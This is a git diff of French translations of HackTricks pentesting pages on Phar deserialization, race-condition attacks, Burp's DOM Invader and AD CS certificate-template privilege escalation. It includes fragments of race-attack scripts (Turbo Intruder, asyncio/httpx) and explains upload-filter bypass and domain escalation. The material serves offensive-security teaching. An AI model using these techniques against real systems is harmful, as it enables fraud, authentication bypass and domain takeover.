Les fichiers **Phar** (PHP Archive) contiennent des **métadonnées au format sérialisé**, donc, lorsqu'elles sont analysées, ces **métadonnées** sont **désérialisées** et vous pouvez essayer d'exploiter une vulnérabilité de **désérialisation** dans le code **PHP**.
|
||||
|
||||
La meilleure chose à propos de cette caractéristique est que cette désérialisation se produira même en utilisant des fonctions PHP qui n'évaluent pas le code PHP comme **file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**.
|
||||
La meilleure chose à propos de cette caractéristique est que cette désérialisation se produira même en utilisant des fonctions PHP qui n'évaluent pas le code PHP comme **file\_get\_contents(), fopen(), file() or file\_exists(), md5\_file(), filemtime() or filesize()**.
|
||||
|
||||
Imaginez donc une situation où vous pouvez faire en sorte qu'un site web PHP récupère la taille d'un fichier arbitraire en utilisant le protocole **`phar://`**, et à l'intérieur du code, vous trouvez une **classe** similaire à celle-ci :
|
||||
|
||||
|
@ -72,7 +72,7 @@ $phar->stopBuffering();
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Notez comment les **octets magiques de JPG** (`\xff\xd8\xff`) sont ajoutés au début du fichier phar pour **contourner** les **éventuelles** **restrictions** de **téléchargement** de fichiers.\
|
||||
Notez comment les **octets magiques de JPG** (`\xff\xd8\xff`) sont ajoutés au début du fichier phar pour **contourner** les **restrictions** **possibles** de **téléchargement** de fichiers.\
|
||||
**Compilez** le fichier `test.phar` avec :
|
||||
```bash
|
||||
php --define phar.readonly=0 create_phar.php
|
||||
|
@ -85,9 +85,9 @@ php vuln.php
|
|||
|
||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -24,12 +24,12 @@ Accédez dès aujourd'hui :
|
|||
|
||||
Le principal problème de l'exploitation des conditions de course est que vous avez besoin que les requêtes soient traitées en parallèle avec une très courte différence de temps (généralement >1ms). Dans la section suivante, différentes solutions sont proposées pour rendre cela possible.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Attaque à un seul paquet (HTTP/2) / Synchronisation du dernier octet (HTTP/1.1)
|
||||
|
||||
HTTP2 permet d'envoyer **2 requêtes dans une seule connexion TCP** (alors que dans HTTP/1.1, elles doivent être séquentielles).\
|
||||
L'utilisation d'un seul paquet TCP élimine complètement l'effet des variations de réseau, il y a donc clairement un potentiel pour des attaques par condition de course. Cependant, **deux requêtes ne suffisent pas pour une attaque par condition de course fiable** grâce à la **variation côté serveur** - des variations dans le temps de traitement des requêtes de l'application causées par des variables incontrôlables telles que la contention du processeur.
|
||||
L'utilisation d'un seul paquet TCP élimine complètement l'effet du jitter du réseau, il y a donc clairement un potentiel pour les attaques par condition de course. Cependant, **deux requêtes ne suffisent pas pour une attaque de course fiable** grâce au **jitter côté serveur** - variations du temps de traitement des requêtes de l'application causées par des variables incontrôlables telles que la contention du processeur.
|
||||
|
||||
Mais, en utilisant la technique de '**synchronisation du dernier octet**' d'HTTP/1.1, il est possible d'envoyer préalablement la majeure partie des données en retenant un petit fragment de chaque requête, puis de 'compléter' **20 à 30 requêtes avec un seul paquet TCP**.
|
||||
|
||||
|
@ -38,21 +38,21 @@ Pour **envoyer préalablement la majeure partie de chaque requête** :
|
|||
- Si la requête n'a pas de corps, envoyez tous les en-têtes, mais ne définissez pas le drapeau END\_STREAM. Retenez un cadre de données vide avec le drapeau END\_STREAM défini.
|
||||
- Si la requête a un corps, envoyez les en-têtes et toutes les données du corps sauf le dernier octet. Retenez un cadre de données contenant le dernier octet.
|
||||
|
||||
Ensuite, **préparez-vous à envoyer les cadres finaux** :
|
||||
Ensuite, **préparez-vous à envoyer les trames finales** :
|
||||
|
||||
- Attendez 100 ms pour vous assurer que les cadres initiaux ont été envoyés.
|
||||
- Assurez-vous que TCP\_NODELAY est désactivé - il est crucial que l'algorithme de Nagle regroupe les cadres finaux.
|
||||
- Envoyez un paquet de ping pour réchauffer la connexion locale. Si vous ne le faites pas, la pile réseau du système d'exploitation placera le premier cadre final dans un paquet séparé.
|
||||
- Attendez 100 ms pour vous assurer que les trames initiales ont été envoyées.
|
||||
- Assurez-vous que TCP\_NODELAY est désactivé - il est crucial que l'algorithme de Nagle regroupe les trames finales.
|
||||
- Envoyez un paquet ping pour réchauffer la connexion locale. Si vous ne le faites pas, la pile réseau du système d'exploitation placera la première trame finale dans un paquet séparé.
|
||||
|
||||
Enfin, envoyez les cadres retenus. Vous devriez pouvoir vérifier qu'ils sont arrivés dans un seul paquet en utilisant Wireshark.
|
||||
Enfin, envoyez les trames retenues. Vous devriez pouvoir vérifier qu'elles sont arrivées dans un seul paquet en utilisant Wireshark.
|
||||
|
||||
{% hint style="info" %}
|
||||
Notez que cela **ne fonctionne pas pour les fichiers statiques** sur certains serveurs, mais les fichiers statiques ne sont pas pertinents pour les attaques par condition de course. Mais les fichiers statiques sont sans importance pour les attaques RC.
|
||||
{% endhint %}
|
||||
|
||||
En utilisant cette technique, vous pouvez faire en sorte que 20 à 30 requêtes arrivent simultanément sur le serveur, indépendamment des variations du réseau :
|
||||
En utilisant cette technique, vous pouvez faire en sorte que 20 à 30 requêtes arrivent simultanément sur le serveur - indépendamment du jitter du réseau :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Adaptation à l'architecture cible**
|
||||
|
||||
|
@ -69,15 +69,15 @@ Il est extrêmement important de repérer ce type de comportement, car il peut m
|
|||
|
||||
Si le réchauffement de la connexion ne fait aucune différence, il existe différentes solutions à ce problème.
|
||||
|
||||
En utilisant Turbo Intruder, vous pouvez introduire un court délai côté client. Cependant, comme cela implique de diviser vos requêtes d'attaque réelles en plusieurs paquets TCP, vous ne pourrez pas utiliser la technique d'attaque en un seul paquet. Par conséquent, sur des cibles à forte gigue, l'attaque est peu susceptible de fonctionner de manière fiable, quel que soit le délai que vous définissez.
|
||||
En utilisant Turbo Intruder, vous pouvez introduire un léger délai côté client. Cependant, comme cela implique de diviser vos requêtes d'attaque réelles en plusieurs paquets TCP, vous ne pourrez pas utiliser la technique d'attaque en un seul paquet. Par conséquent, sur des cibles à forte gigue, l'attaque est peu susceptible de fonctionner de manière fiable, quel que soit le délai que vous définissez.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Au lieu de cela, vous pouvez résoudre ce problème en abusant d'une fonctionnalité de sécurité courante.
|
||||
|
||||
Les serveurs Web retardent souvent le traitement des requêtes s'il en est envoyé trop rapidement. En envoyant un grand nombre de requêtes factices pour déclencher intentionnellement la limite de taux ou de ressources, vous pouvez provoquer un délai approprié côté serveur. Cela rend l'attaque en un seul paquet viable même lorsque l'exécution retardée est nécessaire.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Pour plus d'informations sur cette technique, consultez le rapport original sur [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
|
@ -87,7 +87,7 @@ Pour plus d'informations sur cette technique, consultez le rapport original sur
|
|||
|
||||
* **Tubo Intruder - Attaque en un seul paquet HTTP2 (1 point d'extrémité)**: Vous pouvez envoyer la requête à **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), vous pouvez modifier dans la requête la valeur que vous souhaitez forcer pour **`%s`** comme dans `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` puis sélectionnez **`examples/race-single-packer-attack.py`** dans la liste déroulante :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous allez **envoyer différentes valeurs**, vous pouvez modifier le code avec celui-ci qui utilise une liste de mots depuis le presse-papiers :
|
||||
```python
|
||||
|
@ -136,9 +136,9 @@ engine.openGate(currentAttempt)
|
|||
* Pour **retarder** le processus **entre** le traitement **d'une requête et d'une autre** en deux étapes de sous-états, vous pouvez **ajouter des requêtes supplémentaires entre** les deux requêtes.
|
||||
* Pour un RC à **multi-point d'extrémité**, vous pouvez commencer par envoyer la **requête** qui **va vers l'état caché** puis **50 requêtes** juste après qui **exploitent l'état caché**.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Bruteforce brut
|
||||
### BF brut
|
||||
|
||||
Avant les recherches précédentes, voici quelques charges utiles utilisées qui tentaient simplement d'envoyer les paquets aussi rapidement que possible pour provoquer un RC.
|
||||
|
||||
|
@ -164,6 +164,18 @@ def handleResponse(req, interesting):
|
|||
table.add(req)
|
||||
```
|
||||
* **Python - asyncio**
|
||||
|
||||
La bibliothèque `asyncio` de Python est utilisée pour écrire du code asynchrone de manière concurrente. Elle permet d'exécuter des tâches en parallèle, ce qui est particulièrement utile pour les opérations d'entrée/sortie (I/O) intensives, telles que les requêtes réseau.
|
||||
|
||||
L'asynchronisme est un concept clé dans la programmation concurrente, car il permet d'exécuter plusieurs tâches en même temps sans bloquer l'exécution du programme. Cela signifie que les tâches peuvent être exécutées de manière indépendante et que le programme peut passer à autre chose pendant que les tâches sont en cours d'exécution.
|
||||
|
||||
La bibliothèque `asyncio` utilise des coroutines pour gérer les tâches asynchrones. Une coroutine est une fonction spéciale qui peut être suspendue et reprise ultérieurement. Cela permet d'exécuter plusieurs coroutines en parallèle, ce qui facilite la gestion des tâches asynchrones.
|
||||
|
||||
L'un des avantages de `asyncio` est qu'il permet de gérer facilement les problèmes de concurrence, tels que les conditions de course. Une condition de course se produit lorsqu'il y a un conflit entre plusieurs tâches qui tentent d'accéder ou de modifier une ressource partagée en même temps. Cela peut entraîner des résultats imprévisibles ou indésirables.
|
||||
|
||||
Pour éviter les conditions de course, `asyncio` fournit des mécanismes tels que les verrous (locks) et les sémaphores. Ces mécanismes permettent de synchroniser l'accès aux ressources partagées, en garantissant qu'une seule tâche peut y accéder à la fois.
|
||||
|
||||
En résumé, la bibliothèque `asyncio` de Python est un outil puissant pour écrire du code asynchrone et gérer les problèmes de concurrence tels que les conditions de course. Elle facilite l'exécution de tâches en parallèle et permet d'améliorer les performances des applications qui effectuent des opérations d'entrée/sortie intensives.
|
||||
```python
|
||||
import asyncio
|
||||
import httpx
|
||||
|
@ -199,15 +211,15 @@ Il s'agit du type le plus basique de condition de concurrence où des **vulnéra
|
|||
|
||||
Il existe de nombreuses variations de ce type d'attaque, notamment :
|
||||
|
||||
- Utiliser plusieurs fois une carte-cadeau
|
||||
- Noter un produit plusieurs fois
|
||||
- Retirer ou transférer de l'argent en excédent de votre solde de compte
|
||||
- Réutiliser une solution CAPTCHA unique
|
||||
- Contourner une limite de taux anti-brute force
|
||||
* Utiliser plusieurs fois une carte-cadeau
|
||||
* Noter un produit plusieurs fois
|
||||
* Retirer ou transférer de l'argent en excédent de votre solde de compte
|
||||
* Réutiliser une solution CAPTCHA unique
|
||||
* Contourner une limite de taux anti-brute-force
|
||||
|
||||
### **Sous-états cachés**
|
||||
|
||||
Les conditions de concurrence les plus complexes exploiteront des **sous-états dans l'état de la machine** qui pourraient permettre à un attaquant d'**abuser** d'états auxquels il n'était **jamais censé avoir accès**, mais il existe une **petite fenêtre** pour que l'attaquant y accède.
|
||||
Les RC les plus complexes exploiteront des **sous-états dans l'état de la machine** qui pourraient permettre à un attaquant d'**abuser** d'états auxquels il n'était **jamais censé avoir accès**, mais il existe une **petite fenêtre** pour que l'attaquant y accède.
|
||||
|
||||
1. **Prédire les sous-états cachés et intéressants potentiels**
|
||||
|
||||
|
@ -215,35 +227,35 @@ La première étape consiste à identifier tous les points d'extrémité qui éc
|
|||
|
||||
Nous pouvons utiliser trois questions clés pour exclure les points d'extrémité qui sont peu susceptibles de provoquer des collisions. Pour chaque objet et les points d'extrémité associés, demandez-vous :
|
||||
|
||||
- **Comment l'état est-il stocké ?**
|
||||
* **Comment l'état est-il stocké ?**
|
||||
|
||||
Les données stockées dans une structure de données côté serveur persistante sont idéales pour l'exploitation. Certains points d'extrémité stockent leur état entièrement côté client, comme les réinitialisations de mot de passe qui fonctionnent en envoyant un JWT par e-mail - ceux-ci peuvent être ignorés en toute sécurité.
|
||||
|
||||
Les applications stockent souvent certains états dans la session utilisateur. Ceux-ci sont souvent quelque peu protégés contre les sous-états - nous en parlerons plus tard.
|
||||
|
||||
- **Modifions-nous ou ajoutons-nous ?**
|
||||
* **Effectuons-nous une modification ou un ajout ?**
|
||||
|
||||
Les opérations qui modifient des données existantes (comme le changement de l'adresse e-mail principale d'un compte) ont un potentiel de collision important, tandis que les actions qui se contentent d'ajouter des données existantes (comme l'ajout d'une adresse e-mail supplémentaire) sont peu susceptibles d'être vulnérables à autre chose qu'à des attaques de dépassement de limite.
|
||||
|
||||
- **Sur quoi l'opération est-elle basée ?**
|
||||
* **Sur quoi l'opération est-elle basée ?**
|
||||
|
||||
La plupart des points d'extrémité fonctionnent sur un enregistrement spécifique, qui est recherché à l'aide d'une "clé", telle qu'un nom d'utilisateur, un jeton de réinitialisation de mot de passe ou un nom de fichier. Pour une attaque réussie, nous avons besoin de deux opérations qui utilisent la même clé. Par exemple, imaginons deux implémentations plausibles de réinitialisation de mot de passe :
|
||||
La plupart des points d'extrémité fonctionnent sur un enregistrement spécifique, qui est recherché à l'aide d'une « clé », telle qu'un nom d'utilisateur, un jeton de réinitialisation de mot de passe ou un nom de fichier. Pour une attaque réussie, nous avons besoin de deux opérations qui utilisent la même clé. Par exemple, imaginons deux implémentations plausibles de réinitialisation de mot de passe :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. **Rechercher des indices**
|
||||
|
||||
À ce stade, il est temps de **lancer des attaques RC** sur les points d'extrémité potentiellement intéressants pour essayer de trouver des résultats inattendus par rapport aux résultats réguliers. **Toute déviation de la réponse attendue**, telle qu'un changement dans une ou plusieurs réponses, ou un effet de second ordre tel que des contenus d'e-mail différents ou un changement visible dans votre session, pourrait être un indice indiquant un problème.
|
||||
À ce stade, il est temps de **lancer des attaques RC** sur les points d'extrémité potentiellement intéressants pour essayer de trouver des résultats inattendus par rapport aux résultats habituels. **Toute déviation de la réponse attendue**, telle qu'un changement dans une ou plusieurs réponses, ou un effet de second ordre tel que des contenus d'e-mail différents ou un changement visible dans votre session, pourrait être un indice indiquant un problème.
|
||||
|
||||
3. **Prouver le concept**
|
||||
|
||||
La dernière étape consiste à **prouver le concept et le transformer en une attaque viable**.
|
||||
La dernière étape consiste à **prouver le concept et à le transformer en une attaque viable**.
|
||||
|
||||
Lorsque vous envoyez un lot de requêtes, vous pouvez constater qu'une paire de requêtes initiale déclenche un état final vulnérable, mais que les requêtes ultérieures l'écrasent/invalident et que l'état final n'est pas exploitable. Dans ce scénario, vous voudrez éliminer toutes les requêtes inutiles - deux devraient suffire pour exploiter la plupart des vulnérabilités. Cependant, passer à deux requêtes rendra l'attaque plus sensible au timing, vous devrez donc peut-être réessayer l'attaque plusieurs fois ou l'automatiser.
|
||||
|
||||
### Attaques sensibles au temps
|
||||
|
||||
Parfois, vous ne trouverez peut-être pas de conditions de concurrence, mais les **techniques pour envoyer des requêtes avec une synchronisation précise** peuvent toujours révéler la présence d'autres vulnérabilités.
|
||||
Parfois, vous ne trouverez peut-être pas de conditions de concurrence, mais les **techniques de livraison de requêtes avec une synchronisation précise** peuvent toujours révéler la présence d'autres vulnérabilités.
|
||||
|
||||
Un exemple est lorsque des **horodatages haute résolution sont utilisés au lieu de chaînes aléatoires cryptographiquement** sécurisées pour générer des jetons de sécurité.
|
||||
|
||||
|
@ -253,7 +265,7 @@ Considérons un **jeton de réinitialisation de mot de passe qui n'est aléatoir
|
|||
Pour confirmer par exemple la situation précédente, vous pourriez simplement demander **2 jetons de réinitialisation de mot de passe en même temps** (en utilisant une attaque à paquet unique) et vérifier s'ils sont **identiques**.
|
||||
{% endhint %}
|
||||
|
||||
Consultez l'[**exemple dans ce laboratoire**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities).
|
||||
Consultez [**l'exemple dans ce laboratoire**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities).
|
||||
|
||||
## Études de cas sur les sous-états cachés
|
||||
|
||||
|
@ -263,7 +275,7 @@ Consultez l'[**exemple dans ce laboratoire**](https://portswigger.net/web-securi
|
|||
|
||||
### Confirmer d'autres e-mails
|
||||
|
||||
L'idée est de **vérifier une adresse e-mail et la changer en une autre en même temps** pour savoir si la plateforme vérifie la nouvelle adresse modifiée.
|
||||
L'idée est de **vérifier une adresse e-mail et de la changer en une autre en même temps** pour savoir si la plateforme vérifie la nouvelle adresse modifiée.
|
||||
|
||||
### Changer l'e-mail en 2 adresses e-mail basées sur les cookies
|
||||
|
||||
|
@ -281,7 +293,7 @@ Consultez [**ce laboratoire**](https://portswigger.net/web-security/race-conditi
|
|||
|
||||
### Contourner l'authentification à deux facteurs (2FA)
|
||||
|
||||
Le pseudo-code suivant démontre comment un site Web pourrait être vulnérable à une variation de cette attaque basée sur la concurrence :
|
||||
Le pseudo-code suivant montre comment un site web pourrait être vulnérable à une variation de cette attaque basée sur la concurrence :
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
|
|
|
@ -5,7 +5,7 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
@ -31,7 +31,7 @@ Dans le navigateur intégré de Burp, accédez à l'**extension Burp** et active
|
|||
|
||||
Actualisez ensuite la page et dans les **Dev Tools**, vous trouverez l'onglet **DOM Invader** :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Injecter un canari
|
||||
|
||||
|
@ -43,7 +43,7 @@ De plus, les options **Injecter les paramètres d'URL** et **Injecter les formul
|
|||
|
||||
Si vous voulez simplement trouver les cibles potentielles que la page pourrait avoir, même si elles ne sont pas exploitables, vous pouvez **rechercher un canari vide**.
|
||||
|
||||
### Messages postés
|
||||
### Messages web
|
||||
|
||||
DOM Invader permet de tester les DOM XSS à l'aide de messages web avec des fonctionnalités telles que :
|
||||
|
||||
|
@ -55,9 +55,9 @@ DOM Invader permet de tester les DOM XSS à l'aide de messages web avec des fonc
|
|||
|
||||
Vous pouvez cliquer sur chaque message pour afficher des informations plus détaillées à son sujet, notamment si les propriétés `origin`, `data` ou `source` du message sont accessibles par le JavaScript côté client.
|
||||
|
||||
* **`origin`** : Si les **informations d'origine du message ne sont pas vérifiées**, vous pouvez être en mesure d'envoyer des messages inter-domaines à l'**écouteur d'événements depuis un domaine externe arbitraire**. Mais si cela est vérifié, cela peut toujours être non sécurisé.
|
||||
* **`origin`** : Si les **informations d'origine du message ne sont pas vérifiées**, vous pouvez être en mesure d'envoyer des messages inter-domaines à l'**event handler depuis un domaine externe arbitraire**. Mais si c'est vérifié, cela pourrait toujours être insecure.
|
||||
* **`data`** : C'est là que la charge utile est envoyée. Si ces données ne sont pas utilisées, la cible est inutile.
|
||||
* **`source`** : Évalue si la propriété source, faisant généralement référence à un iframe, est validée plutôt que l'origine. Même si cela est vérifié, cela ne garantit pas que la validation ne peut pas être contournée.
|
||||
* **`source`** : Évalue si la propriété source, faisant généralement référence à un iframe, est validée au lieu de l'origine. Même si cela est vérifié, cela ne garantit pas que la validation ne peut pas être contournée.
|
||||
|
||||
#### Répondre à un message
|
||||
|
||||
|
@ -69,7 +69,7 @@ Vous pouvez cliquer sur chaque message pour afficher des informations plus déta
|
|||
|
||||
DOM Invader peut également rechercher des **vulnérabilités de pollution de prototype**. Tout d'abord, vous devez l'activer :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (5) (1) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ensuite, il **recherchera les sources** qui vous permettent d'ajouter des propriétés arbitraires à **`Object.prototype`**.
|
||||
|
||||
|
|
|
@ -1,13 +1,13 @@
|
|||
# AD CS Escalade de privilèges de domaine
|
||||
# Escalade de domaine AD CS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -16,22 +16,22 @@
|
|||
|
||||
### Explication
|
||||
|
||||
* Le **CA d'entreprise** accorde des **droits d'inscription aux utilisateurs à faible privilège**
|
||||
* Le **CA d'entreprise** accorde des **droits d'inscription aux utilisateurs à faibles privilèges**
|
||||
* **L'approbation du gestionnaire est désactivée**
|
||||
* **Aucune signature autorisée n'est requise**
|
||||
* Un descripteur de sécurité de **modèle de certificat excessivement permissif accorde des droits d'inscription de certificat aux utilisateurs à faible privilège**
|
||||
* Un descripteur de sécurité de **modèle de certificat excessivement permissif accorde des droits d'inscription aux utilisateurs à faibles privilèges**
|
||||
* Le **modèle de certificat définit des EKU qui permettent l'authentification** :
|
||||
* _Authentification client (OID 1.3.6.1.5.5.7.3.2), Authentification client PKINIT (1.3.6.1.5.2.3.4), Connexion par carte à puce (OID 1.3.6.1.4.1.311.20.2.2), Tout usage (OID 2.5.29.37.0), ou aucun EKU (SubCA)._
|
||||
* _Authentification client (OID 1.3.6.1.5.5.7.3.2), Authentification client PKINIT (1.3.6.1.5.2.3.4), Connexion par carte à puce (OID 1.3.6.1.4.1.311.20.2.2), Tout usage (OID 2.5.29.37.0), ou pas d'EKU (SubCA)._
|
||||
* Le **modèle de certificat permet aux demandeurs de spécifier un subjectAltName dans le CSR :**
|
||||
* **AD** **utilisera** l'identité spécifiée par le champ **subjectAltName** (SAN) d'un certificat **si** il est **présent**. Par conséquent, si un demandeur peut spécifier le SAN dans un CSR, le demandeur peut **demander un certificat en tant que n'importe qui** (par exemple, un utilisateur administrateur de domaine). L'objet AD du modèle de certificat **spécifie** si le demandeur **peut spécifier le SAN** dans sa propriété **`mspki-certificate-name-`**`flag`. La propriété `mspki-certificate-name-flag` est un **masque de bits** et si le drapeau **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** est **présent**, un **demandeur peut spécifier le SAN.**
|
||||
* **AD** utilisera l'identité spécifiée par le champ **subjectAltName** (SAN) d'un certificat **si** elle est **présente**. Par conséquent, si un demandeur peut spécifier le SAN dans un CSR, le demandeur peut **demander un certificat en tant que n'importe qui** (par exemple, un utilisateur administrateur de domaine). L'objet AD du modèle de certificat **spécifie** si le demandeur **peut spécifier le SAN** dans sa propriété **`mspki-certificate-name-`**`flag`. La propriété `mspki-certificate-name-flag` est un **masque de bits** et si le drapeau **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** est **présent**, un **demandeur peut spécifier le SAN**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ces paramètres permettent à un **utilisateur à faible privilège de demander un certificat avec un SAN arbitraire**, permettant à l'utilisateur à faible privilège de s'authentifier en tant que n'importe quel principal dans le domaine via Kerberos ou SChannel.
|
||||
Ces paramètres permettent à un **utilisateur à faibles privilèges de demander un certificat avec un SAN arbitraire**, permettant à l'utilisateur à faibles privilèges de s'authentifier en tant que n'importe quel principal du domaine via Kerberos ou SChannel.
|
||||
{% endhint %}
|
||||
|
||||
Ceci est souvent activé, par exemple, pour permettre aux produits ou aux services de déploiement de générer des certificats HTTPS ou des certificats d'hôte à la volée. Ou en raison d'un manque de connaissances.
|
||||
Cela est souvent activé, par exemple, pour permettre aux produits ou aux services de déploiement de générer des certificats HTTPS ou des certificats d'hôte à la volée. Ou en raison d'un manque de connaissance.
|
||||
|
||||
Notez que lorsqu'un certificat avec cette dernière option est créé, un **avertissement apparaît**, mais il n'apparaît pas si un **modèle de certificat** avec cette configuration est **dupliqué** (comme le modèle `WebServer` qui a `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` activé et que l'administrateur pourrait ajouter un OID d'authentification).
|
||||
